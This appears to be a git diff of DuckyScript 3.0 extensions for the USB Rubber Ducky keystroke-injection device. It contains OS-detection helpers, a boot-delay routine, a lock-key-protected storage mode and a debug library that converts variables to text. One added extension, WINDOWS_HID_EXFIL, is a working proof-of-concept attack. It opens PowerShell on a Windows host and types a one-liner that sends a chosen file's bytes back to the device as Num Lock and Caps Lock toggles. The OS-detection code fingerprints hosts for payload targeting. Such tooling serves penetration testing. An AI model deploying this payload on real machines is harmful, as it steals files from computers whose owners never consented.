||||||
STRING caps led on
|
$_OS = MACOS
|
||||||
ENTER
|
END_IF
|
||||||
STRING prediction: iOS
|
ELSE IF ($_OS == WINDOWS) THEN
|
||||||
END_IF
|
IF VERBOSE THEN
|
||||||
$_OS = IOS
|
ENTER
|
||||||
ELSE
|
STRING Confident Windows Prediction
|
||||||
IF VERBOSE THEN
|
END_IF
|
||||||
ENTER
|
$_OS = WINDOWS
|
||||||
STRING no caps reply
|
END_IF
|
||||||
ENTER
|
END_IF
|
||||||
STRING prediction: MacOS
|
|
||||||
END_IF
|
RESTORE_HOST_KEYBOARD_LOCK_STATE
|
||||||
$_OS = MACOS
|
|
||||||
END_IF
|
IF VERBOSE THEN
|
||||||
ELSE IF ($_OS == WINDOWS) THEN
|
ENTER
|
||||||
IF VERBOSE THEN
|
STRING OS_DETECT complete
|
||||||
ENTER
|
ENTER
|
||||||
STRING Confident Windows Prediction
|
END_IF
|
||||||
END_IF
|
|
||||||
$_OS = WINDOWS
|
|
||||||
END_IF
|
|
||||||
END_IF
|
|
||||||
|
|
||||||
RESTORE_HOST_KEYBOARD_LOCK_STATE
|
|
||||||
|
|
||||||
IF VERBOSE THEN
|
|
||||||
ENTER
|
|
||||||
STRING OS_DETECT complete
|
|
||||||
ENTER
|
|
||||||
END_IF
|
|
||||||
END_FUNCTION
|
END_FUNCTION
|
||||||
|
|
||||||
REM Uncomment the function call below to run this extension inline (here)
|
REM Uncomment the function call below to run this extension inline (here)
|
||||||
REM or call DETECT_OS() anywhere in your payload after the extension
|
REM or call DETECT_OS() anywhere in your payload after the extension
|
||||||
|
|
||||||
REM DETECT_OS()
|
REM DETECT_OS()
|
||||||
|
END_EXTENSION
|
||||||
END_EXTENSION
|
|
||||||
|
|
|
@ -0,0 +1,21 @@
|
||||||
|
EXTENSION PASSIVE_DETECT_READY
|
||||||
|
REM VERSION 1.0
|
||||||
|
|
||||||
|
REM Passive Detect Ready - no injection dynamic boot delay
|
||||||
|
REM for hosts that reflect current OS lock key state on connect
|
||||||
|
|
||||||
|
REM USAGE:
|
||||||
|
REM Extension runs inline (here)
|
||||||
|
REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic
|
||||||
|
REM boot delay
|
||||||
|
|
||||||
|
REM CONFIGURATION:
|
||||||
|
DEFINE MAX_WAIT 150
|
||||||
|
DEFINE CHECK_INTERVAL 20
|
||||||
|
|
||||||
|
VAR $MAX_TRIES = MAX_WAIT
|
||||||
|
WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
|
||||||
|
DELAY CHECK_INTERVAL
|
||||||
|
$MAX_TRIES = ($MAX_TRIES - 1)
|
||||||
|
END_WHILE
|
||||||
|
END_EXTENSION
|
|
@ -0,0 +1,37 @@
|
||||||
|
EXTENSION PASSIVE_WINDOWS_DETECT
|
||||||
|
REM VERSION 1.0
|
||||||
|
|
||||||
|
REM Windows fully passive OS Detection and passive Detect Ready
|
||||||
|
REM Includes its own passive detect ready. Does not require
|
||||||
|
REM additional extensions
|
||||||
|
|
||||||
|
REM USAGE:
|
||||||
|
REM Extension runs inline (here)
|
||||||
|
REM Place at beginning of payload (besides ATTACKMODE) to act as dynamic
|
||||||
|
REM boot delay
|
||||||
|
REM $_OS will be set to WINDOWS or NOT_WINDOWS
|
||||||
|
|
||||||
|
REM CONFIGURATION:
|
||||||
|
DEFINE MAX_WAIT 150
|
||||||
|
DEFINE CHECK_INTERVAL 20
|
||||||
|
DEFINE WINDOWS_HOST_REQUEST_COUNT 2
|
||||||
|
DEFINE NOT_WINDOWS 7
|
||||||
|
|
||||||
|
VAR $MAX_TRIES = MAX_WAIT
|
||||||
|
WHILE(($_RECEIVED_HOST_LOCK_LED_REPLY == FALSE) && ($MAX_TRIES > 0))
|
||||||
|
DELAY CHECK_INTERVAL
|
||||||
|
$MAX_TRIES = ($MAX_TRIES - 1)
|
||||||
|
END_WHILE
|
||||||
|
IF ($_HOST_CONFIGURATION_REQUEST_COUNT > WINDOWS_HOST_REQUEST_COUNT) THEN
|
||||||
|
$_OS = WINDOWS
|
||||||
|
ELSE
|
||||||
|
$_OS = NOT_WINDOWS
|
||||||
|
END_IF
|
||||||
|
|
||||||
|
REM EXAMPLE USAGE AFTER EXTENSION
|
||||||
|
REM IF ($_OS == WINDOWS) THEN
|
||||||
|
REM STRING HELLO WINDOWS!
|
||||||
|
REM ELSE
|
||||||
|
REM STRING HELLO WORLD!
|
||||||
|
REM END_IF
|
||||||
|
END_EXTENSION
|
|
@ -1,9 +1,9 @@
|
||||||
EXTENSION PROTECTED_STORAGE_MODE
|
EXTENSION PROTECTED_STORAGE_MODE
|
||||||
VERSION 1.0
|
REM VERSION 1.0
|
||||||
|
|
||||||
REM Example hidden storage mode
|
REM Example hidden storage mode
|
||||||
REM Forces user to "padlock style" unlock storage mode by setting
|
REM Forces user to padlock style unlock storage mode by setting
|
||||||
REM the host's lock keys and pressing the duck button to "submit" a
|
REM the HOSTs lock keys and pressing the duck button to submit a
|
||||||
REM combination three times.
|
REM combination three times.
|
||||||
REM The wrong combination will immediately fail silently.
|
REM The wrong combination will immediately fail silently.
|
||||||
REM The correct combination will trigger ATTACKMODE STORAGE and LED_G
|
REM The correct combination will trigger ATTACKMODE STORAGE and LED_G
|
||||||
|
@ -17,31 +17,30 @@ EXTENSION PROTECTED_STORAGE_MODE
|
||||||
REM END_BUTTON
|
REM END_BUTTON
|
||||||
|
|
||||||
FUNCTION STORAGE_PASSWORD_CHECK()
|
FUNCTION STORAGE_PASSWORD_CHECK()
|
||||||
VAR $ACCEPED = FALSE
|
VAR $ACCEPED = FALSE
|
||||||
LED_R
|
LED_R
|
||||||
WAIT_FOR_BUTTON_PRESS
|
WAIT_FOR_BUTTON_PRESS
|
||||||
|
|
||||||
REM first combination ALL LOCKS OFF
|
REM first combination ALL LOCKS OFF
|
||||||
IF (($_CAPSLOCK_ON == FALSE) && ($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == FALSE)) THEN
|
IF (($_CAPSLOCK_ON == FALSE) && ($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == FALSE)) THEN
|
||||||
STRING .
|
STRING .
|
||||||
WAIT_FOR_BUTTON_PRESS
|
WAIT_FOR_BUTTON_PRESS
|
||||||
|
|
||||||
REM second combination ONLY CAPS ON
|
REM second combination ONLY CAPS ON
|
||||||
IF (($_CAPSLOCK_ON == TRUE) && ($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == FALSE)) THEN
|
IF (($_CAPSLOCK_ON == TRUE) && ($_NUMLOCK_ON == FALSE) && ($_SCROLLLOCK_ON == FALSE)) THEN
|
||||||
STRING .
|
STRING .
|
||||||
WAIT_FOR_BUTTON_PRESS
|
WAIT_FOR_BUTTON_PRESS
|
||||||
|
|
||||||
REM third combination ONLY NUM ON
|
REM third combination ONLY NUM ON
|
||||||
IF (($_CAPSLOCK_ON == FALSE) && ($_NUMLOCK_ON == TRUE) && ($_SCROLLLOCK_ON == FALSE)) THEN
|
IF (($_CAPSLOCK_ON == FALSE) && ($_NUMLOCK_ON == TRUE) && ($_SCROLLLOCK_ON == FALSE)) THEN
|
||||||
$ACCEPTED = TRUE
|
$ACCEPTED = TRUE
|
||||||
END_IF
|
END_IF
|
||||||
END_IF
|
END_IF
|
||||||
END_IF
|
END_IF
|
||||||
|
|
||||||
IF $ACCEPTED THEN
|
IF $ACCEPTED THEN
|
||||||
LED_G
|
LED_G
|
||||||
ATTACKMODE STORAGE
|
ATTACKMODE STORAGE
|
||||||
END_IF
|
END_IF
|
||||||
END_FUNCTION
|
END_FUNCTION
|
||||||
|
|
||||||
END_EXTENSION
|
END_EXTENSION
|
||||||
|
|
|
@ -1,17 +1,17 @@
|
||||||
EXTENSION TRANSLATE
|
EXTENSION TRANSLATE
|
||||||
VERSION 1.0
|
REM VERSION 1.0
|
||||||
|
|
||||||
REM This extension acts as a library or collection of helper functions
|
REM This extension acts as a library or collection of helper functions
|
||||||
REM to work with converting variables in your payloads.
|
REM to work with converting variables in your payloads.
|
||||||
REM WHY:
|
REM WHY:
|
||||||
REM Of the many ways to get information about the state of your payload
|
REM Of the many ways to get information about the state of your payload
|
||||||
REM is by injecting static strings effectively as debugging "printf's"
|
REM is by injecting static strings effectively as debugging prints
|
||||||
REM However, given the non-static nature of payloads using variables in
|
REM However, given the non-static nature of payloads using variables in
|
||||||
REM DuckyScript 3.0 - the ability to decode variables during payload
|
REM DuckyScript 3.0 - the ability to decode variables during payload
|
||||||
REM execution and "print" (inject) representations of their current state
|
REM execution and print (inject) representations of their current state
|
||||||
REM can often be a critically helpful development and debugging tool.
|
REM can often be a critically helpful development and debugging tool.
|
||||||
|
|
||||||
REM Available Functions:
|
REM Available Functions:
|
||||||
REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call
|
REM TRANSLATE_INT() - var to decimal string - set $INPUT prior to call
|
||||||
REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call
|
REM TRANSLATE_HEX() - var to hexidecimal string - set $INPUT prior to call
|
||||||
REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call
|
REM TRANSLATE_BINARY() - var to binary string - set $INPUT prior to call
|
||||||
|
@ -23,196 +23,195 @@ EXTENSION TRANSLATE
|
||||||
REM VAR $myVar = 1234
|
REM VAR $myVar = 1234
|
||||||
REM $INPUT = $myVar
|
REM $INPUT = $myVar
|
||||||
REM TRANSLATE_INT()
|
REM TRANSLATE_INT()
|
||||||
REM REM the above code will inject "1234"
|
REM REM the above code will inject 1234
|
||||||
|
|
||||||
REM BEGIN EXTENSION VARIABLES
|
|
||||||
DEFINE PRINT_INT 0
|
|
||||||
DEFINE PRINT_HEX 1
|
|
||||||
VAR $DIGIT_PRINT_MODE = PRINT_INT
|
|
||||||
VAR $D = 0
|
|
||||||
VAR $IN = 0
|
|
||||||
VAR $INPUT = 0
|
|
||||||
VAR $MOD = 0
|
|
||||||
VAR $P = FALSE
|
|
||||||
VAR $NL = TRUE
|
|
||||||
REM END EXTENSION VARIABLES
|
|
||||||
|
|
||||||
REM REQUIRED for INT/HEX - convert int to char
|
|
||||||
FUNCTION PRINTDIGIT()
|
|
||||||
IF ($D == 0) THEN
|
|
||||||
STRING 0
|
|
||||||
ELSE IF ($D == 1) THEN
|
|
||||||
STRING 1
|
|
||||||
ELSE IF ($D == 2) THEN
|
|
||||||
STRING 2
|
|
||||||
ELSE IF ($D == 3) THEN
|
|
||||||
STRING 3
|
|
||||||
ELSE IF ($D == 4) THEN
|
|
||||||
STRING 4
|
|
||||||
ELSE IF ($D == 5) THEN
|
|
||||||
STRING 5
|
|
||||||
ELSE IF ($D == 6) THEN
|
|
||||||
STRING 6
|
|
||||||
ELSE IF ($D == 7) THEN
|
|
||||||
STRING 7
|
|
||||||
ELSE IF ($D == 8) THEN
|
|
||||||
STRING 8
|
|
||||||
ELSE IF ($D == 9) THEN
|
|
||||||
STRING 9
|
|
||||||
ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN
|
|
||||||
IF ($D == 10) THEN
|
|
||||||
STRING A
|
|
||||||
ELSE IF ($D == 11) THEN
|
|
||||||
STRING B
|
|
||||||
ELSE IF ($D == 12) THEN
|
|
||||||
STRING C
|
|
||||||
ELSE IF ($D == 13) THEN
|
|
||||||
STRING D
|
|
||||||
ELSE IF ($D == 14) THEN
|
|
||||||
STRING E
|
|
||||||
ELSE IF ($D == 15) THEN
|
|
||||||
STRING F
|
|
||||||
END_IF
|
|
||||||
ELSE
|
|
||||||
STRING ?
|
|
||||||
END_IF
|
|
||||||
END_FUNCTION
|
|
||||||
|
|
||||||
REM REQUIRED for INT/HEX- consumes a "character" / "place" from the input
|
|
||||||
FUNCTION CONSUME()
|
|
||||||
$D = 0
|
|
||||||
WHILE ($INPUT >= $MOD)
|
|
||||||
$D = ($D + 1)
|
|
||||||
$INPUT = ($INPUT - $MOD)
|
|
||||||
END_WHILE
|
|
||||||
IF (($D > 0) || ($P == TRUE)) THEN
|
|
||||||
$P = TRUE
|
|
||||||
PRINTDIGIT()
|
|
||||||
END_IF
|
|
||||||
END_FUNCTION
|
|
||||||
|
|
||||||
REM ENDIAN SWAPPER helper, (useful for working with VID/PID)
|
|
||||||
FUNCTION SWAP_ENDIAN()
|
|
||||||
$INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))
|
|
||||||
END_FUNCTION
|
|
||||||
|
|
||||||
REM Translates a variable of presumed integer type and attempts to convert
|
|
||||||
REM and inject a DECIMAL string representation
|
|
||||||
FUNCTION TRANSLATE_INT()
|
|
||||||
$DIGIT_PRINT_MODE = PRINT_INT
|
|
||||||
$P = FALSE
|
|
||||||
IF ( $INPUT >= 10000) THEN
|
|
||||||
$MOD = 10000
|
|
||||||
CONSUME()
|
|
||||||
END_IF
|
|
||||||
IF (($INPUT >= 1000) || ($P == TRUE)) THEN
|
|
||||||
$MOD = 1000
|
|
||||||
CONSUME()
|
|
||||||
END_IF
|
|
||||||
IF (($INPUT >= 100) || ($P == TRUE)) THEN
|
|
||||||
$MOD = 100
|
|
||||||
CONSUME()
|
|
||||||
END_IF
|
|
||||||
IF (($INPUT >= 10) || ($P == TRUE)) THEN
|
|
||||||
$MOD = 10
|
|
||||||
CONSUME()
|
|
||||||
END_IF()
|
|
||||||
$D = $INPUT
|
|
||||||
PRINTDIGIT()
|
|
||||||
IF $NL THEN
|
|
||||||
ENTER
|
|
||||||
END_IF
|
|
||||||
END_FUNCTION
|
|
||||||
|
|
||||||
REM Translates a variable of presumed boolean type and attempts to convert
|
|
||||||
REM and inject a BOOLEAN string representation
|
|
||||||
FUNCTION TRANSLATE_BOOL()
|
|
||||||
IF $INPUT THEN
|
|
||||||
STRING TRUE
|
|
||||||
ELSE
|
|
||||||
STRING FALSE
|
|
||||||
END_IF
|
|
||||||
IF $NL THEN
|
|
||||||
ENTER
|
|
||||||
END_IF
|
|
||||||
END_FUNCTION
|
|
||||||
|
|
||||||
REM Translates a variable of presumed integer type and attempts to convert
|
|
||||||
REM and inject a HEX string representation
|
|
||||||
FUNCTION TRANSLATE_HEX()
|
|
||||||
$DIGIT_PRINT_MODE = PRINT_HEX
|
|
||||||
VAR $chars = 0
|
|
||||||
VAR $d1 = 0
|
|
||||||
VAR $d2 = 0
|
|
||||||
VAR $d3 = 0
|
|
||||||
VAR $d4 = 0
|
|
||||||
WHILE ($INPUT > 0)
|
|
||||||
IF ($chars == 0) THEN
|
|
||||||
$d1 = ($INPUT % 16)
|
|
||||||
ELSE IF ($chars == 1) THEN
|
|
||||||
$d2 = ($INPUT % 16)
|
|
||||||
ELSE IF ($chars == 2) THEN
|
|
||||||
$d3 = ($INPUT % 16)
|
|
||||||
ELSE IF ($chars == 3) THEN
|
|
||||||
$d4 = ($INPUT % 16)
|
|
||||||
END_IF
|
|
||||||
$chars = ($chars + 1)
|
|
||||||
$INPUT = ($INPUT / 16)
|
|
||||||
END_WHILE
|
|
||||||
VAR $i = 0
|
|
||||||
STRING 0x
|
|
||||||
IF ($chars == 0) THEN
|
|
||||||
STRING 0x0000
|
|
||||||
ELSE IF ($chars == 1) THEN
|
|
||||||
STRING 000
|
|
||||||
$D = $d1
|
|
||||||
PRINTDIGIT()
|
|
||||||
ELSE IF ($chars == 2) THEN
|
|
||||||
STRING 00
|
|
||||||
$D = $d2
|
|
||||||
PRINTDIGIT()
|
|
||||||
$D = $d1
|
|
||||||
PRINTDIGIT()
|
|
||||||
ELSE IF ($chars == 3) THEN
|
|
||||||
STRING 0
|
|
||||||
$D = $d3
|
|
||||||
PRINTDIGIT()
|
|
||||||
$D = $d2
|
|
||||||
PRINTDIGIT()
|
|
||||||
$D = $d1
|
|
||||||
PRINTDIGIT()
|
|
||||||
ELSE IF ($chars == 4) THEN
|
|
||||||
STRING 0
|
|
||||||
$D = $d4
|
|
||||||
PRINTDIGIT()
|
|
||||||
$D = $d3
|
|
||||||
PRINTDIGIT()
|
|
||||||
$D = $d2
|
|
||||||
PRINTDIGIT()
|
|
||||||
$D = $d1
|
|
||||||
PRINTDIGIT()
|
|
||||||
END_IF
|
|
||||||
IF $NL THEN
|
|
||||||
ENTER
|
|
||||||
END_IF
|
|
||||||
END_FUNCTION
|
|
||||||
|
|
||||||
REM Translates a variable of presumed integer type and attempts to convert
|
|
||||||
REM and inject a BINARY string representation
|
|
||||||
FUNCTION TRANSLATE_BINARY()
|
|
||||||
VAR $I = 16
|
|
||||||
WHILE ( $I > 0 )
|
|
||||||
$I = ($I - 1)
|
|
||||||
IF (($INPUT & 0x8000) == 0 ) THEN
|
|
||||||
STRING 0
|
|
||||||
ELSE
|
|
||||||
STRING 1
|
|
||||||
END_IF
|
|
||||||
$INPUT = ($INPUT << 1)
|
|
||||||
END_WHILE
|
|
||||||
IF $NL THEN
|
|
||||||
ENTER
|
|
||||||
END_IF
|
|
||||||
END_FUNCTION
|
|
||||||
|
|
||||||
|
REM begin extension variables
|
||||||
|
DEFINE PRINT_INT 0
|
||||||
|
DEFINE PRINT_HEX 1
|
||||||
|
VAR $DIGIT_PRINT_MODE = PRINT_INT
|
||||||
|
VAR $D = 0
|
||||||
|
VAR $IN = 0
|
||||||
|
VAR $INPUT = 0
|
||||||
|
VAR $MOD = 0
|
||||||
|
VAR $P = FALSE
|
||||||
|
VAR $NL = TRUE
|
||||||
|
REM end extension variables
|
||||||
|
|
||||||
|
REM REQUIRED for INT/HEX - convert int to char
|
||||||
|
FUNCTION PRINTDIGIT()
|
||||||
|
IF ($D == 0) THEN
|
||||||
|
STRING 0
|
||||||
|
ELSE IF ($D == 1) THEN
|
||||||
|
STRING 1
|
||||||
|
ELSE IF ($D == 2) THEN
|
||||||
|
STRING 2
|
||||||
|
ELSE IF ($D == 3) THEN
|
||||||
|
STRING 3
|
||||||
|
ELSE IF ($D == 4) THEN
|
||||||
|
STRING 4
|
||||||
|
ELSE IF ($D == 5) THEN
|
||||||
|
STRING 5
|
||||||
|
ELSE IF ($D == 6) THEN
|
||||||
|
STRING 6
|
||||||
|
ELSE IF ($D == 7) THEN
|
||||||
|
STRING 7
|
||||||
|
ELSE IF ($D == 8) THEN
|
||||||
|
STRING 8
|
||||||
|
ELSE IF ($D == 9) THEN
|
||||||
|
STRING 9
|
||||||
|
ELSE IF ($DIGIT_PRINT_MODE == PRINT_HEX) THEN
|
||||||
|
IF ($D == 10) THEN
|
||||||
|
STRING A
|
||||||
|
ELSE IF ($D == 11) THEN
|
||||||
|
STRING B
|
||||||
|
ELSE IF ($D == 12) THEN
|
||||||
|
STRING C
|
||||||
|
ELSE IF ($D == 13) THEN
|
||||||
|
STRING D
|
||||||
|
ELSE IF ($D == 14) THEN
|
||||||
|
STRING E
|
||||||
|
ELSE IF ($D == 15) THEN
|
||||||
|
STRING F
|
||||||
|
END_IF
|
||||||
|
ELSE
|
||||||
|
STRING ?
|
||||||
|
END_IF
|
||||||
|
END_FUNCTION
|
||||||
|
|
||||||
|
REM REQUIRED for INT/HEX- consumes a character / place from the input
|
||||||
|
FUNCTION CONSUME()
|
||||||
|
$D = 0
|
||||||
|
WHILE ($INPUT >= $MOD)
|
||||||
|
$D = ($D + 1)
|
||||||
|
$INPUT = ($INPUT - $MOD)
|
||||||
|
END_WHILE
|
||||||
|
IF (($D > 0) || ($P == TRUE)) THEN
|
||||||
|
$P = TRUE
|
||||||
|
PRINTDIGIT()
|
||||||
|
END_IF
|
||||||
|
END_FUNCTION
|
||||||
|
|
||||||
|
REM ENDIAN SWAPPER helper, (useful for working with VID/PID)
|
||||||
|
FUNCTION SWAP_ENDIAN()
|
||||||
|
$INPUT = ((($INPUT >> 8) & 0x00FF) | (($INPUT << 8) & 0xFF00))
|
||||||
|
END_FUNCTION
|
||||||
|
|
||||||
|
REM Translates a variable of presumed integer type and attempts to convert
|
||||||
|
REM and inject a DECIMAL string representation
|
||||||
|
FUNCTION TRANSLATE_INT()
|
||||||
|
$DIGIT_PRINT_MODE = PRINT_INT
|
||||||
|
$P = FALSE
|
||||||
|
IF ( $INPUT >= 10000) THEN
|
||||||
|
$MOD = 10000
|
||||||
|
CONSUME()
|
||||||
|
END_IF
|
||||||
|
IF (($INPUT >= 1000) || ($P == TRUE)) THEN
|
||||||
|
$MOD = 1000
|
||||||
|
CONSUME()
|
||||||
|
END_IF
|
||||||
|
IF (($INPUT >= 100) || ($P == TRUE)) THEN
|
||||||
|
$MOD = 100
|
||||||
|
CONSUME()
|
||||||
|
END_IF
|
||||||
|
IF (($INPUT >= 10) || ($P == TRUE)) THEN
|
||||||
|
$MOD = 10
|
||||||
|
CONSUME()
|
||||||
|
END_IF()
|
||||||
|
$D = $INPUT
|
||||||
|
PRINTDIGIT()
|
||||||
|
IF $NL THEN
|
||||||
|
ENTER
|
||||||
|
END_IF
|
||||||
|
END_FUNCTION
|
||||||
|
|
||||||
|
REM Translates a variable of presumed boolean type and attempts to convert
|
||||||
|
REM and inject a BOOLEAN string representation
|
||||||
|
FUNCTION TRANSLATE_BOOL()
|
||||||
|
IF $INPUT THEN
|
||||||
|
STRING TRUE
|
||||||
|
ELSE
|
||||||
|
STRING FALSE
|
||||||
|
END_IF
|
||||||
|
IF $NL THEN
|
||||||
|
ENTER
|
||||||
|
END_IF
|
||||||
|
END_FUNCTION
|
||||||
|
|
||||||
|
REM Translates a variable of presumed integer type and attempts to convert
|
||||||
|
REM and inject a HEX string representation
|
||||||
|
FUNCTION TRANSLATE_HEX()
|
||||||
|
$DIGIT_PRINT_MODE = PRINT_HEX
|
||||||
|
VAR $chars = 0
|
||||||
|
VAR $d1 = 0
|
||||||
|
VAR $d2 = 0
|
||||||
|
VAR $d3 = 0
|
||||||
|
VAR $d4 = 0
|
||||||
|
WHILE ($INPUT > 0)
|
||||||
|
IF ($chars == 0) THEN
|
||||||
|
$d1 = ($INPUT % 16)
|
||||||
|
ELSE IF ($chars == 1) THEN
|
||||||
|
$d2 = ($INPUT % 16)
|
||||||
|
ELSE IF ($chars == 2) THEN
|
||||||
|
$d3 = ($INPUT % 16)
|
||||||
|
ELSE IF ($chars == 3) THEN
|
||||||
|
$d4 = ($INPUT % 16)
|
||||||
|
END_IF
|
||||||
|
$chars = ($chars + 1)
|
||||||
|
$INPUT = ($INPUT / 16)
|
||||||
|
END_WHILE
|
||||||
|
VAR $i = 0
|
||||||
|
STRING 0x
|
||||||
|
IF ($chars == 0) THEN
|
||||||
|
STRING 0x0000
|
||||||
|
ELSE IF ($chars == 1) THEN
|
||||||
|
STRING 000
|
||||||
|
$D = $d1
|
||||||
|
PRINTDIGIT()
|
||||||
|
ELSE IF ($chars == 2) THEN
|
||||||
|
STRING 00
|
||||||
|
$D = $d2
|
||||||
|
PRINTDIGIT()
|
||||||
|
$D = $d1
|
||||||
|
PRINTDIGIT()
|
||||||
|
ELSE IF ($chars == 3) THEN
|
||||||
|
STRING 0
|
||||||
|
$D = $d3
|
||||||
|
PRINTDIGIT()
|
||||||
|
$D = $d2
|
||||||
|
PRINTDIGIT()
|
||||||
|
$D = $d1
|
||||||
|
PRINTDIGIT()
|
||||||
|
ELSE IF ($chars == 4) THEN
|
||||||
|
STRING 0
|
||||||
|
$D = $d4
|
||||||
|
PRINTDIGIT()
|
||||||
|
$D = $d3
|
||||||
|
PRINTDIGIT()
|
||||||
|
$D = $d2
|
||||||
|
PRINTDIGIT()
|
||||||
|
$D = $d1
|
||||||
|
PRINTDIGIT()
|
||||||
|
END_IF
|
||||||
|
IF $NL THEN
|
||||||
|
ENTER
|
||||||
|
END_IF
|
||||||
|
END_FUNCTION
|
||||||
|
|
||||||
|
REM Translates a variable of presumed integer type and attempts to convert
|
||||||
|
REM and inject a BINARY string representation
|
||||||
|
FUNCTION TRANSLATE_BINARY()
|
||||||
|
VAR $I = 16
|
||||||
|
WHILE ( $I > 0 )
|
||||||
|
$I = ($I - 1)
|
||||||
|
IF (($INPUT & 0x8000) == 0 ) THEN
|
||||||
|
STRING 0
|
||||||
|
ELSE
|
||||||
|
STRING 1
|
||||||
|
END_IF
|
||||||
|
$INPUT = ($INPUT << 1)
|
||||||
|
END_WHILE
|
||||||
|
IF $NL THEN
|
||||||
|
ENTER
|
||||||
|
END_IF
|
||||||
|
END_FUNCTION
|
||||||
END_EXTENSION
|
END_EXTENSION
|
||||||
|
|
|
@ -0,0 +1,51 @@
|
||||||
|
EXTENSION WINDOWS_HID_EXFIL
|
||||||
|
REM VERSION 1.0
|
||||||
|
|
||||||
|
REM Helpers for Keystroke Reflection data exfiltration
|
||||||
|
REM This payload is a proof of concept for USB HID only Data Exfiltration
|
||||||
|
|
||||||
|
REM TARGET:
|
||||||
|
REM Windows Hostthat supports powershell and SendKeys
|
||||||
|
|
||||||
|
REM USAGE:
|
||||||
|
REM Uncomment the function call below to run this extension inline
|
||||||
|
REM or call RUN_EXFIL() anywhere in your payload after the extension
|
||||||
|
|
||||||
|
REM DEPLOYMENT:
|
||||||
|
REM Plug Ducky into host, wait for the LED to turn (and stay) solid Green.
|
||||||
|
|
||||||
|
REM CONFIGURATION:
|
||||||
|
REM File on host machine to exfil using Keystroke Reflection attack
|
||||||
|
DEFINE TARGET_FILE filename.txt
|
||||||
|
FUNCTION RUN_WINDOWS_EXFIL()
|
||||||
|
REM Boot
|
||||||
|
LED_OFF
|
||||||
|
DELAY 500
|
||||||
|
REM Launch Windows RUN dialog
|
||||||
|
GUI r
|
||||||
|
DELAY 50
|
||||||
|
REM Launch powershell
|
||||||
|
STRING powershell
|
||||||
|
ENTER
|
||||||
|
DELAY 250
|
||||||
|
REM Save HOSTs current lock state
|
||||||
|
SAVE_HOST_KEYBOARD_LOCK_STATE
|
||||||
|
REM Start Listening - Enable EXFIL mode, Enable EXFIL mode for Device LEDS
|
||||||
|
$_EXFIL_MODE_ENABLED = TRUE
|
||||||
|
$_EXFIL_LEDS_ENABLED = TRUE
|
||||||
|
REM Convert and reflect target file
|
||||||
|
STRING foreach($b in $(Get-Content "TARGET_FILE" -Encoding byte)){foreach($a in 0x80,0x40,0x20,0x10,0x08,0x04,0x02,0x01){If($b -band $a){$o+="%{NUMLOCK}"}Else{$o+="%{CAPSLOCK}"}}};$o+="%{SCROLLLOCK}";Add-Type -Assembly System.Windows.Forms;[System.Windows.Forms.SendKeys]::SendWait("$o");exit;
|
||||||
|
ENTER
|
||||||
|
REM Listen for EOF
|
||||||
|
WAIT_FOR_SCROLL_CHANGE
|
||||||
|
REM Indicate SUCCESS on Device LED, Disable EXFIL mode
|
||||||
|
LED_G
|
||||||
|
$_EXFIL_MODE_ENABLED = FALSE
|
||||||
|
REM Restore HOSTs lock state to original
|
||||||
|
RESTORE_HOST_KEYBOARD_LOCK_STATE
|
||||||
|
END_FUNCTION
|
||||||
|
|
||||||
|
REM Uncomment the function call below to run this extension inline (here)
|
||||||
|
REM or call RUN_WINDOWS_EXFIL() anywhere in your payload after the extension
|
||||||
|
REM RUN_WINDOWS_EXFIL()
|
||||||
|
END_EXTENSION
|
Loading…
Reference in New Issue